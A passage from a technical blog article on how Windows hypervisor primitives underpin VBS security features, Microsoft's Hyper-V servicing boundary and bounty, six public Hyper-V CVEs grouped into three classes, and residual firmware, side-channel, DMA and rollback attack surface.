&lt;p&gt;&lt;strong&gt;&lt;a href=&quot;https://paragmali.com/blog/windows-app-identity-33-year-reinvention/&quot; rel=&quot;noopener&quot;&gt;Application Control (WDAC)&lt;/a&gt;.&lt;/strong&gt; The same VTL1 code-integrity service that backs HVCI also evaluates user-mode policy. When VTL0 user mode tries to load a binary that is restricted by WDAC policy, the load becomes a secure call into VTL1; VTL1&apos;s policy engine evaluates the signature, the certificate chain, and the configured policy; the secure call returns approval or denial. WDAC policy lives in VTL1, the policy database lives in VTL1, and a VTL0 administrator who has been compromised cannot edit either. The hypervisor primitives composed: same as HVCI, plus a richer secure-call API for policy evaluation.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;VBS Enclaves.&lt;/strong&gt; A third-party application can load native code into a VTL1 IUM enclave. The enclave executes in VTL1, with its memory hidden from VTL0; the application talks to the enclave through a secure-call ABI exposed by the Secure Kernel. Architecturally parallel to Credential Guard but available to ordinary application developers. The hypervisor primitives composed: per-VTL SLAT (to hide enclave memory) + secure-call ABI (to invoke enclave code) + a Secure Kernel API for enclave creation, attestation, and destruction.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;System Guard Secure Launch (DRTM).&lt;/strong&gt; Intel TXT&apos;s &lt;code&gt;SENTER&lt;/code&gt; instruction (and AMD&apos;s &lt;code&gt;SKINIT&lt;/code&gt; on AMD platforms) executes a hardware-rooted dynamic measurement of the hypervisor and the Secure Kernel into TPM PCRs 17-22 &lt;em&gt;after&lt;/em&gt; firmware initialization [@ms-system-guard-secure-launch]. This re-establishes the trust root post-firmware: a pre-boot firmware compromise that survived UEFI Secure Boot cannot silently poison the hypervisor&apos;s launch state without showing up as an unexpected measurement in a PCR that VTL1 can read. The hypervisor primitives composed: DRTM event registration with the hardware + TPM PCR extension + a VTL1-side attestation API. See the sibling &lt;a href=&quot;https://paragmali.com/blog/secure-boot-in-windows-the-chain-from-sector-zero-to-userini/&quot; rel=&quot;noopener&quot;&gt;Secure Boot&lt;/a&gt; article for the static-RTM half of the same story.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Kernel DMA Protection.&lt;/strong&gt; External devices over Thunderbolt, USB4, or hot-plug PCIe can issue DMA to arbitrary physical addresses, bypassing the CPU&apos;s MMU entirely. The hypervisor configures the IOMMU (Intel VT-d / AMD-Vi) to deny DMA from externally-attached devices outside of explicitly-authorized memory regions, and to refuse DMA from any device before its kernel-mode driver has been loaded under a trusted policy [@ms-kernel-dma-protection]. The hypervisor primitives composed: hypervisor-owned IOMMU configuration + memory-access intercepts on the IOMMU configuration MMIO region.&lt;/p&gt;
&lt;p&gt;The shape of the table is the point.&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Feature&lt;/th&gt;
&lt;th&gt;Composed primitives&lt;/th&gt;
&lt;th&gt;Verbatim hypervisor mechanism&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;&lt;tr&gt;
&lt;td&gt;HVCI&lt;/td&gt;
&lt;td&gt;per-VTL SLAT + memory-access intercepts + secure-call ABI&lt;/td&gt;
&lt;td&gt;VTL1 vets each VTL0 page-mapping change before granting +X&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Credential Guard&lt;/td&gt;
&lt;td&gt;per-VTL SLAT + SynIC + intercepts&lt;/td&gt;
&lt;td&gt;LSAISO trustlet memory absent from VTL0 SLAT mapping&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;WDAC (AppControl)&lt;/td&gt;
&lt;td&gt;secure-call ABI + VTL1 policy engine&lt;/td&gt;
&lt;td&gt;VTL0 binary load = secure call into VTL1 CI service&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;VBS Enclaves&lt;/td&gt;
&lt;td&gt;per-VTL SLAT + secure-call ABI&lt;/td&gt;
&lt;td&gt;Third-party VTL1 IUM enclave invoked over secure call&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;System Guard Secure Launch&lt;/td&gt;
&lt;td&gt;hardware DRTM (TXT/SKINIT) + TPM PCR extension&lt;/td&gt;
&lt;td&gt;&lt;code&gt;SENTER&lt;/code&gt; / &lt;code&gt;SKINIT&lt;/code&gt; measures hypervisor into PCRs 17-22&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Kernel DMA Protection&lt;/td&gt;
&lt;td&gt;hypervisor-owned IOMMU + MMIO intercepts&lt;/td&gt;
&lt;td&gt;VT-d/AMD-Vi denies DMA outside authorized regions&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;

The hypervisor knows nothing about NTLM hashes, Kerberos tickets, code-signing certificates, WDAC policy XML, or DMA-region authorization. All of that policy lives in VTL1 -- in the Secure Kernel, in LSAISO, in the WDAC service. The hypervisor only provides the *mechanism* for one piece of policy to evaluate a request from another piece of policy in isolation. This is the architectural separation that lets the hypervisor binary stay small and the Windows-side security feature set keep growing.
&lt;p&gt;The pattern: each feature is a different &lt;em&gt;composition&lt;/em&gt; of the same five primitives (partitions, hypercalls, intercepts, SynIC, per-VTL SLAT). The hypervisor is genuinely a primitive in the formal sense -- a small set of mechanisms that compose into many security policies. If the hypervisor is the mechanism, the &lt;em&gt;boundary&lt;/em&gt; the hypervisor enforces is the contract. Microsoft commits to servicing certain attacks against that boundary and explicitly excludes others. To know what we are getting, we need to read the contract.&lt;/p&gt;
&lt;h2&gt;9. The Security Boundary Microsoft Commits To&lt;/h2&gt;
&lt;p&gt;The Microsoft Security Servicing Criteria for Windows is a public document. It enumerates which classes of attack Microsoft will issue a CVE and an out-of-band patch for, and which it will not. For the hypervisor, the document is unusually specific [@ms-msrc-servicing-criteria].&lt;/p&gt;
&lt;p&gt;The two relevant boundaries:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Hypervisor / virtualization boundary.&lt;/strong&gt; An L1-guest-to-host or guest-to-guest break is a serviced boundary. If a guest VM can execute code in the root partition or in another guest&apos;s address space, Microsoft will issue a CVE.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Virtual Secure Mode (VBS) boundary.&lt;/strong&gt; VTL0 kernel-mode code reading or writing VTL1 memory, or executing VTL1 code, is a serviced break. If a Ring-0 attacker in VTL0 can defeat the per-VTL SLAT, Microsoft will issue a CVE.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;What the servicing criteria &lt;em&gt;does not&lt;/em&gt; commit to is also worth naming. A same-VTL elevation of privilege inside a guest (a guest user becoming guest SYSTEM) is not a hypervisor break -- it is a Windows EoP, serviced under the Windows kernel boundary, not the hypervisor boundary. A denial-of-service of the host from a guest is generally not a serviced hypervisor break unless it produces a memory corruption that an attacker can ride to RCE. An administrator in the root partition reading guest memory is not a break at all -- the root partition is part of the hypervisor&apos;s TCB by definition, and root-partition admin is hypervisor-admin in the threat model.&lt;/p&gt;
&lt;p&gt;The dollar figures for these boundaries are documented in the Microsoft Hyper-V Bounty Program [@ms-msrc-bounty-hyperv]. The program ranges from $5,000 for the lowest-impact qualifying submission up to $250,000 for the highest. The eligibility language is verbatim:&lt;/p&gt;

An eligible submission includes a Remote Code Execution (RCE) vulnerability in Microsoft Hyper-V that enables a L1 guest virtual machine to compromise the hypervisor, escape from the guest virtual machine to the host, or escape to another L1 guest virtual machine. -- Microsoft Hyper-V Bounty Program [@ms-msrc-bounty-hyperv]
&lt;p&gt;$250,000 is the highest standing Hyper-V bounty in the industry. Comparable programs from the other major hypervisor vendors do not publish the same calibration. KVM is a community project with no vendor-paid bounty pool of equivalent size. Xen is a Linux Foundation project that runs a bug bounty through HackerOne but does not publicly attach a $250,000 figure to a guest-to-host RCE. ESXi (Broadcom) does not publish a standing bounty program with a per-bug ceiling; bounty payments for ESXi RCEs typically flow through Pwn2Own and similar marketplaces, where Trend Micro&apos;s Zero Day Initiative sets the prize for any given competition.The bounty calibration is itself a data point. If $250,000 were too high, Microsoft would be drowning in submissions; if it were too low, the public CVE record would show more hypervisor breaks reported through Pwn2Own than directly to MSRC. The current equilibrium -- two to four Microsoft-direct Hyper-V CVEs per year, plus zero Pwn2Own Hyper-V guest-to-host escapes through Pwn2Own Berlin 2025 [@zdi-pwn2own-day3] -- is consistent with the bounty being calibrated roughly correctly relative to the cost of finding a real bug.&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Vendor&lt;/th&gt;
&lt;th&gt;Hypervisor&lt;/th&gt;
&lt;th&gt;Published bounty&lt;/th&gt;
&lt;th&gt;Ceiling&lt;/th&gt;
&lt;th&gt;Servicing-criteria boundary published&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;&lt;tr&gt;
&lt;td&gt;Microsoft&lt;/td&gt;
&lt;td&gt;Hyper-V / &lt;code&gt;hvix64.exe&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Yes&lt;/td&gt;
&lt;td&gt;$250,000&lt;/td&gt;
&lt;td&gt;Yes, verbatim language&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Xen Project&lt;/td&gt;
&lt;td&gt;Xen&lt;/td&gt;
&lt;td&gt;Yes (HackerOne)&lt;/td&gt;
&lt;td&gt;Lower, varies&lt;/td&gt;
&lt;td&gt;Yes, security policy&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;KVM&lt;/td&gt;
&lt;td&gt;KVM (community)&lt;/td&gt;
&lt;td&gt;No standing program&lt;/td&gt;
&lt;td&gt;--&lt;/td&gt;
&lt;td&gt;No vendor-published criteria&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Broadcom/VMware&lt;/td&gt;
&lt;td&gt;ESXi&lt;/td&gt;
&lt;td&gt;No standing public bounty&lt;/td&gt;
&lt;td&gt;--&lt;/td&gt;
&lt;td&gt;Vendor advisories per CVE&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;seL4 Project&lt;/td&gt;
&lt;td&gt;seL4&lt;/td&gt;
&lt;td&gt;No (proof-rooted argument)&lt;/td&gt;
&lt;td&gt;--&lt;/td&gt;
&lt;td&gt;Functional-correctness proof [@sel4-whitepaper]&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;
&lt;p&gt;The seL4 row is included because seL4 is the only hypervisor in the table whose claim to a security boundary is &lt;em&gt;mathematical&lt;/em&gt; rather than operational. seL4 ships approximately ten thousand lines of C and assembly with a machine-checked proof of functional correctness against a higher-level specification. The proof took roughly twenty-five person-years and covers a microkernel that does not by itself ship the full surface area of Hyper-V. The Microsoft hypervisor is unverified at the §7-estimated line count an order of magnitude larger; its security argument is operational (a small TCB, heavy fuzzing, a standing bounty, public servicing) rather than mathematical.&lt;/p&gt;
&lt;p&gt;A serviced boundary is a contract. Contracts are not promises; they are obligations that come due when an attacker finds a way around them. To see what the contract has actually had to pay out, we read the public CVE record.&lt;/p&gt;
&lt;h2&gt;10. The Public Track Record -- Six Worked CVEs Across Three Classes&lt;/h2&gt;
&lt;p&gt;We do not need an exhaustive Hyper-V CVE catalog to understand the boundary&apos;s real shape. Six worked examples, drawn from three distinct attack classes, cover every public failure mode the boundary has produced since 2018. We walk them in order.&lt;/p&gt;
&lt;h3&gt;Class A: Device emulation in the root partition&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;CVE-2021-28476 (vmswitch.sys, May 2021, CVSS 9.9).&lt;/strong&gt; Discovered by Ophir Harpaz at Guardicore Labs and Peleg Hadar at SafeBreach Labs using Guardicore&apos;s &lt;code&gt;hAFL1&lt;/code&gt; hypervisor fuzzer, this was a guest-controlled &lt;code&gt;OID_SWITCH_NIC_REQUEST&lt;/code&gt; OID parameter passed to the host-side &lt;code&gt;vmswitch.sys&lt;/code&gt; driver. The driver dereferenced an attacker-influenced object pointer; the host kernel performed an arbitrary pointer dereference; the guest gained RCE in the root partition&apos;s kernel mode. The CVSS 9.9 score (AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H) reflects guest-to-host RCE with Azure-scale blast radius: the bug was reachable from the vmswitch driver shipped in Windows builds well before the May 2021 patch, per the Guardicore Labs technical analysis [@nvd-cve-2021-28476]. The bug is the canonical anchor for &quot;device emulation in the root partition is the largest Hyper-V attack surface.&quot;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;CVE-2025-21333 (NT Kernel Integration VSP, January 2025, CWE-122).&lt;/strong&gt; The first publicly-acknowledged in-the-wild exploited Hyper-V CVE. The &quot;Hyper-V NT Kernel Integration VSP&quot; is a relatively new component that ties the Windows kernel-mode container architecture to Hyper-V&apos;s VSP/VSC pattern. A guest-controlled input triggered a heap-based buffer overflow on the host side of the integration; the host&apos;s address space was corruptible from a guest [@nvd-cve-2025-21333]. The operational pattern matches the vmswitch family: a host-side component receives structured, attacker-shaped input from a guest, and the host-side component overflows.&lt;/p&gt;
&lt;h3&gt;Class B: The hypercall input-validation path&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;CVE-2024-21407 (Hyper-V hypercall UAF, March 2024, CVSS 8.1, CWE-416).&lt;/strong&gt; The rare case where the bug is in &lt;code&gt;hvix64.exe&lt;/code&gt; / &lt;code&gt;hvax64.exe&lt;/code&gt; itself, not in a root-partition driver. A guest crafted specially-formed file-operation hypercalls; the hypervisor dereferenced freed memory; the guest gained arbitrary host code execution [@nvd-cve-2024-21407].&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;CVE-2024-30092 (Hyper-V RCE, October 2024, CWE-20 + CWE-829).&lt;/strong&gt; A Hyper-V remote code execution that combined improper input validation with inclusion of functionality from an untrusted control sphere -- another hypercall-path-class bug [@nvd-cve-2024-30092].&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;CVE-2024-49117 (Hyper-V RCE, December 2024, CVSS 8.8).&lt;/strong&gt; A third 2024 Hyper-V RCE; the December Patch Tuesday entry rounded out a year in which three publicly-disclosed Hyper-V RCEs landed in twelve months, the most since the 2018 vmswitch family [@nvd-cve-2024-49117].&lt;/p&gt;
&lt;h3&gt;Class C: VTL0-to-VTL1 (the VBS break, not the hypervisor break)&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;CVE-2020-0917 and CVE-2020-0918 -- Amar and King, Black Hat USA 2020.&lt;/strong&gt; Saar Amar and Daniel King&apos;s &quot;Breaking VSM by Attacking SecureKernel&quot; disclosed two paired vulnerabilities discovered with their Hyperseed hypercall fuzzer retargeted at &lt;code&gt;securekernel!IumInvokeSecureService&lt;/code&gt;, the secure-call entry point. Vulnerability #1 -- which maps to CVE-2020-0917 -- is an &lt;em&gt;out-of-bounds write&lt;/em&gt; in &lt;code&gt;securekernel!SkmmObtainHotPatchUndoTable&lt;/code&gt;, the function that parses the hot-patch undo table at secure-call invocation time.The Black Hat USA 2020 deck (verified via pdftotext at the canonical MSRC-Security-Research GitHub URL) explicitly labels Vulnerability #1 as &lt;strong&gt;OOB Write&lt;/strong&gt;, in slides titled &quot;The Vulnerable Function&quot; and &quot;The OOB&quot; in the &quot;Hardening SK&quot; section [@amar-king-bh-2020]. Several secondary writeups across the web have transcribed the bug class as &quot;OOB read,&quot; which is incorrect; the deck itself is the primary source and says write. The functions involved are also commonly conflated: &lt;code&gt;IumInvokeSecureService&lt;/code&gt; is the secure-call dispatcher Hyperseed retargets to reach the buggy code; the actual bug is in &lt;code&gt;SkmmObtainHotPatchUndoTable&lt;/code&gt;. The NVD entries for both CVEs are tracked as CWE-269 (Improper Privilege Management). Vulnerability #2 -- CVE-2020-0918 -- is a design flaw in &lt;code&gt;SkmmUnmapMdl&lt;/code&gt; that lets VTL0 pass a fully attacker-controlled Memory Descriptor List to &lt;code&gt;SkmiReleaseUnknownPTEs&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;The Microsoft response is documented end-to-end in the same deck: the Secure Kernel pool was migrated to segment heap in mid-2019, four W+X regions were reduced to +X only, and &lt;code&gt;SkpgContext&lt;/code&gt; -- a HyperGuard equivalent for Secure Kernel -- was introduced.&lt;/p&gt;
&lt;p&gt;This is a different failure class than vmswitch RCE: not guest-to-host, but VTL0-to-VTL1 -- a Secure Kernel break reached through the hypervisor&apos;s secure-call dispatch from a privileged VTL0 attacker. Microsoft services it under the VBS / VSM boundary in the servicing criteria document, even though no guest VM is involved.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Key idea:&lt;/strong&gt; Every public Hyper-V CVE since 2018 lives in one of three narrow code paths -- device emulation, hypercall input validation, or VTL0-to-VTL1 secure-call dispatch. The TLFS-visible primitives (intercepts, SynIC, per-VTL SLAT) have produced none.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h3&gt;The Pwn2Own dimension&lt;/h3&gt;
&lt;p&gt;Through Pwn2Own Berlin 2025, no public live Hyper-V guest-to-host escape has been demonstrated at Pwn2Own. The cross-vendor analogue -- and the industry&apos;s best calibration of how hard a hypervisor escape is to find when a researcher has a public dollar incentive and a deadline -- is the first-ever ESXi escape in Pwn2Own history, executed by Nguyen Hoang Thach of STAR Labs SG on Day Two (May 16, 2025) using a single integer overflow vulnerability in the hypervisor&apos;s DMA-handling path. The award was $150,000 plus 15 Master of Pwn points; STAR Labs went on to win overall Master of Pwn for the competition with $320,000 across three days [@zdi-pwn2own-day3].&lt;/p&gt;
&lt;p&gt;The technique class is a TOCTOU on a length field read twice during a DMA operation: the first read validates the length, the second read uses it; race the second read and you write past a fixed-size buffer on the host heap. The exploit class is structurally the same as the vmswitch family, just landed in a different vendor&apos;s device-emulation path.&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;CVE&lt;/th&gt;
&lt;th&gt;Class&lt;/th&gt;
&lt;th&gt;Year&lt;/th&gt;
&lt;th&gt;CVSS&lt;/th&gt;
&lt;th&gt;Location&lt;/th&gt;
&lt;th&gt;Source&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;&lt;tr&gt;
&lt;td&gt;CVE-2021-28476&lt;/td&gt;
&lt;td&gt;A: device emulation&lt;/td&gt;
&lt;td&gt;2021&lt;/td&gt;
&lt;td&gt;9.9&lt;/td&gt;
&lt;td&gt;&lt;code&gt;vmswitch.sys&lt;/code&gt; (root partition)&lt;/td&gt;
&lt;td&gt;[@nvd-cve-2021-28476]&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;CVE-2025-21333&lt;/td&gt;
&lt;td&gt;A: device emulation&lt;/td&gt;
&lt;td&gt;2025&lt;/td&gt;
&lt;td&gt;7.8&lt;/td&gt;
&lt;td&gt;NT Kernel Integration VSP (root partition)&lt;/td&gt;
&lt;td&gt;[@nvd-cve-2025-21333]&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;CVE-2024-21407&lt;/td&gt;
&lt;td&gt;B: hypercall path&lt;/td&gt;
&lt;td&gt;2024&lt;/td&gt;
&lt;td&gt;8.1&lt;/td&gt;
&lt;td&gt;&lt;code&gt;hvix64.exe&lt;/code&gt; / &lt;code&gt;hvax64.exe&lt;/code&gt; (hypervisor binary)&lt;/td&gt;
&lt;td&gt;[@nvd-cve-2024-21407]&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;CVE-2024-30092&lt;/td&gt;
&lt;td&gt;B: hypercall path&lt;/td&gt;
&lt;td&gt;2024&lt;/td&gt;
&lt;td&gt;7.5&lt;/td&gt;
&lt;td&gt;Hyper-V hypercall validation&lt;/td&gt;
&lt;td&gt;[@nvd-cve-2024-30092]&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;CVE-2024-49117&lt;/td&gt;
&lt;td&gt;B: hypercall path&lt;/td&gt;
&lt;td&gt;2024&lt;/td&gt;
&lt;td&gt;8.8&lt;/td&gt;
&lt;td&gt;Hyper-V hypercall validation&lt;/td&gt;
&lt;td&gt;[@nvd-cve-2024-49117]&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;CVE-2020-0917/0918&lt;/td&gt;
&lt;td&gt;C: VTL0-to-VTL1&lt;/td&gt;
&lt;td&gt;2020&lt;/td&gt;
&lt;td&gt;6.8 (per MSRC)&lt;/td&gt;
&lt;td&gt;&lt;code&gt;securekernel.exe&lt;/code&gt; (VTL1, reached via secure call)&lt;/td&gt;
&lt;td&gt;[@amar-king-bh-2020]&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;

flowchart LR
    subgraph CA[&quot;Class A: device emulation (root partition)&quot;]
        Vmswitch[&quot;vmswitch.sys -- CVE-2021-28476&quot;]
        Vsp[&quot;NT Kernel Integration VSP -- CVE-2025-21333&quot;]
    end
    subgraph CB[&quot;Class B: hypercall input validation (hypervisor binary)&quot;]
        UAF[&quot;CVE-2024-21407 (UAF)&quot;]
        Input[&quot;CVE-2024-30092&quot;]
        Hpcall[&quot;CVE-2024-49117&quot;]
    end
    subgraph CC[&quot;Class C: VTL0-to-VTL1 (secure call dispatch)&quot;]
        Oob[&quot;CVE-2020-0917 (OOB write)&quot;]
        Mdl[&quot;CVE-2020-0918 (SkmmUnmapMdl)&quot;]
    end
    Guest[&quot;Guest VM&quot;] --&amp;gt; CA
    Guest --&amp;gt; CB
    Vtl0[&quot;Privileged VTL0 (kernel)&quot;] --&amp;gt; CC
&lt;p&gt;This is the third insight the article is built around. The reader&apos;s prior model may have been &quot;hypervisors fail in mysterious, deep ways; the boundary is fragile in unknown places.&quot; The new model is &quot;every public Hyper-V escape since 2018 lives in one of three narrow code paths, and the TLFS-visible primitives have produced none.&quot; The narrowness of the failure space is itself a security argument. The hypervisor&apos;s micro-kernelized design has held; what has not always held are the components Microsoft chose to put &lt;em&gt;next to&lt;/em&gt; the hypervisor, in the root partition&apos;s user mode and kernel mode, by deliberate architectural choice in 2008.&lt;/p&gt;
&lt;p&gt;Six worked examples; three classes; one boundary; an unflinching public record. The boundary is alive and producing CVEs at roughly two to four per year. But every CVE so far has lived somewhere the hypervisor itself controls. The interesting question is what lives in places it does not control.&lt;/p&gt;
&lt;h2&gt;11. The Residual Attack Surface -- Beneath, Beside, and Around&lt;/h2&gt;
&lt;p&gt;The hypervisor enforces a clean boundary against everything &lt;em&gt;above&lt;/em&gt; it -- the NT kernel, user mode, even other guest VMs. It cannot, by construction, enforce anything against what lives &lt;em&gt;below&lt;/em&gt; or &lt;em&gt;beside&lt;/em&gt; it. Three structural classes of residual attack matter. We walk each.&lt;/p&gt;
&lt;h3&gt;11.1 Firmware below the hypervisor&lt;/h3&gt;
&lt;p&gt;System Management Mode (SMM), the UEFI runtime, the platform Manageability Engine (Intel ME), and the AMD Platform Security Processor (PSP) all run at higher privilege than the hypervisor for parts of boot and runtime. SMM in particular is a CPU mode that is invoked through System Management Interrupts (SMI) and has unrestricted access to all of physical memory, including the hypervisor&apos;s own pages. If the OEM-supplied SMM handler contains an exploitable bug, an SMI can run attacker code in a privilege mode strictly above the hypervisor&apos;s.&lt;/p&gt;
&lt;p&gt;The threat is not hypothetical. The Binarly research team&apos;s 2023 LogoFAIL disclosures showed entire classes of image-parser bugs in UEFI firmware reachable from a privileged OS context; BootHole (CVE-2020-10713, a buffer overflow in GRUB2&apos;s &lt;code&gt;grub.cfg&lt;/code&gt; parser) and BlackLotus (CVE-2022-21894, a UEFI Secure Boot bypass) showed that pre-boot bugs in widely-deployed bootloaders could ride past Secure Boot. None of these is a hypervisor bug; all of them are residual attack surface from the hypervisor&apos;s point of view.&lt;/p&gt;
&lt;p&gt;Microsoft&apos;s mitigation is the &lt;em&gt;dynamic&lt;/em&gt; root of trust for measurement -- System Guard Secure Launch -- which we touched on in section 8. After UEFI Secure Boot has done its static-RTM job, Intel TXT&apos;s &lt;code&gt;SENTER&lt;/code&gt; (or AMD&apos;s &lt;code&gt;SKINIT&lt;/code&gt;) executes a CPU-hardware-rooted late launch: the CPU resets to a known state, runs an Intel- or AMD-signed Authenticated Code Module (ACM), and measures the hypervisor binary into TPM PCRs 17-22 before transferring control to it. The result is that even if pre-boot firmware is compromised, the post-DRTM PCR values reflect the actual hypervisor binary; a compromised UEFI cannot silently substitute a different hypervisor without changing the attestation [@ms-system-guard-secure-launch, @ms-hardware-root-of-trust]. The residual after DRTM: OEMs that don&apos;t ship Secure Launch on their motherboards, or that ship buggy SMM handlers that can be invoked after launch.&lt;/p&gt;
&lt;h3&gt;11.2 Hardware side channels&lt;/h3&gt;
&lt;p&gt;Microarchitectural side-channel attacks cross the VTL boundary at the level of CPU implementation, not at the level of architectural specification. The 2018 Spectre and Meltdown disclosures -- followed by the L1TF, MDS, Retbleed, and CacheWarp families in the years since -- showed that speculatively-executed code on a CPU can leak microarchitectural state across privilege boundaries that the architectural ISA promises to protect.&lt;/p&gt;
&lt;p&gt;Microsoft&apos;s mitigation cadence has been in-tree and aggressive: Kernel Virtual Address Shadow (the Windows equivalent of KPTI) for Meltdown; IBRS, STIBP, and retpolines for Spectre v2; HyperClear for L1TF on Hyper-V hosts. Each Patch Tuesday since 2018 has shipped at least one microarchitectural mitigation; cumulatively the cost has been measurable but bounded.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Note:&lt;/strong&gt; The microarchitectural ceiling is hardware, not software. Intel TDX and AMD SEV-SNP -- the two confidential-computing architectures that move the trust root from the hypervisor to per-VM hardware encryption -- both explicitly &lt;em&gt;disclaim&lt;/em&gt; resistance to this class. If the CPU leaks across a Spectre-class side channel, no software-level isolation primitive (VTL, partition, SEAM, SEV-SNP) can fully recover the property. The mitigation is hardware that doesn&apos;t leak, and that mitigation arrives one CPU generation at a time.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h3&gt;11.3 IOMMU and DMA bypass&lt;/h3&gt;
&lt;p&gt;The IOMMU -- Intel VT-d, AMD-Vi -- is the hardware that gates DMA from peripheral devices to physical memory. If the IOMMU is configured correctly, a Thunderbolt-attached device cannot read or write arbitrary memory; it can only DMA to regions the OS has explicitly mapped for it. If the IOMMU is disabled, configured permissively, or has firmware bugs of its own, DMA becomes an end-run around every architectural protection above it -- including the hypervisor&apos;s.&lt;/p&gt;
&lt;p&gt;The threat is again not hypothetical. Bjorn Ruytenberg&apos;s Thunderspy disclosure in 2020 documented seven DMA-class vulnerabilities in Thunderbolt 3 firmware, demonstrating that an attacker with physical access could read or modify arbitrary memory on a powered-on system through a malicious peripheral [@thunderspy]. The Microsoft mitigation is Kernel DMA Protection (Windows 10 1803 and later): the hypervisor configures the IOMMU at boot to deny DMA from externally-attached devices outside of explicitly authorized regions, and DMA from any peripheral whose driver has not been loaded under a trusted policy is refused at the IOMMU [@ms-kernel-dma-protection]. The structural residual: pre-boot DMA, before Windows has finished configuring the IOMMU; client motherboards that still ship with VT-d or AMD-Vi disabled in BIOS; OEMs that disable Kernel DMA Protection by default.&lt;/p&gt;
&lt;h3&gt;11.4 Hypervisor downgrade and rollback&lt;/h3&gt;
&lt;p&gt;Alon Leviev&apos;s &quot;Windows Downdate&quot; at Black Hat USA 2024 disclosed a class of attack that the prior three sections do not cover: rollback of the hypervisor binary itself to a previously-vulnerable, but still validly-signed, build [@nvd-cve-2024-21302].&lt;/p&gt;
&lt;p&gt;The structural argument: UEFI Secure Boot prevents loading an &lt;em&gt;unsigned&lt;/em&gt; &lt;code&gt;hvix64.exe&lt;/code&gt;. It does &lt;em&gt;not&lt;/em&gt; prevent loading an older &lt;code&gt;hvix64.exe&lt;/code&gt; that is unsigned only in the sense of being unrevoked. If Microsoft fixes a Secure Kernel bug in build N+1 and a VTL0 attacker can convince the system to load build N at the next reboot, the patched bug is alive again. CVE-2024-21302 demonstrated exactly this rollback against both the hypervisor and the Secure Kernel through manipulation of the Windows Update servicing pipeline. The mitigation is mandatory-update servicing combined with proactive revocation list (&lt;code&gt;dbx&lt;/code&gt;) hygiene -- once an older binary&apos;s hash is in the UEFI revocation list, Secure Boot will refuse to load it -- and Microsoft completed mitigations across Windows 10 1507 through Windows Server 2019 in the July 8, 2025 update wave [@nvd-cve-2024-21302].&lt;/p&gt;

flowchart TD
    HW[&quot;Hardware (CPU, RAM, IOMMU, TPM)&quot;]
    SM[&quot;System Management Mode (Ring -2) -- residual: SMM handler bugs&quot;]
    FW[&quot;UEFI firmware -- residual: LogoFAIL, BootHole, BlackLotus&quot;]
    DR[&quot;DRTM ACM (Intel TXT / AMD SKINIT)&quot;]
    HV[&quot;Microsoft Hypervisor (hvix64 / hvax64)&quot;]
    Iommu[&quot;IOMMU (VT-d / AMD-Vi) -- residual: Thunderspy, pre-boot DMA&quot;]
    Vtl1[&quot;VTL1 (Secure Kernel + trustlets)&quot;]
    Vtl0[&quot;VTL0 (NT kernel + user mode)&quot;]
    Side[&quot;Microarchitectural side channels -- Spectre / Meltdown / MDS / Retbleed&quot;]
    Update[&quot;Windows Update servicing -- residual: hypervisor rollback (CVE-2024-21302)&quot;]
    HW --&amp;gt; SM
    SM --&amp;gt; FW
    FW --&amp;gt; DR
    DR --&amp;gt; HV
    HV --&amp;gt; Iommu
    HV --&amp;gt; Vtl1
    HV --&amp;gt; Vtl0
    Side -.-&amp;gt;|&quot;cross all boundaries&quot;| HV
    Update -.-&amp;gt;|&quot;can roll hypervisor back&quot;| HV

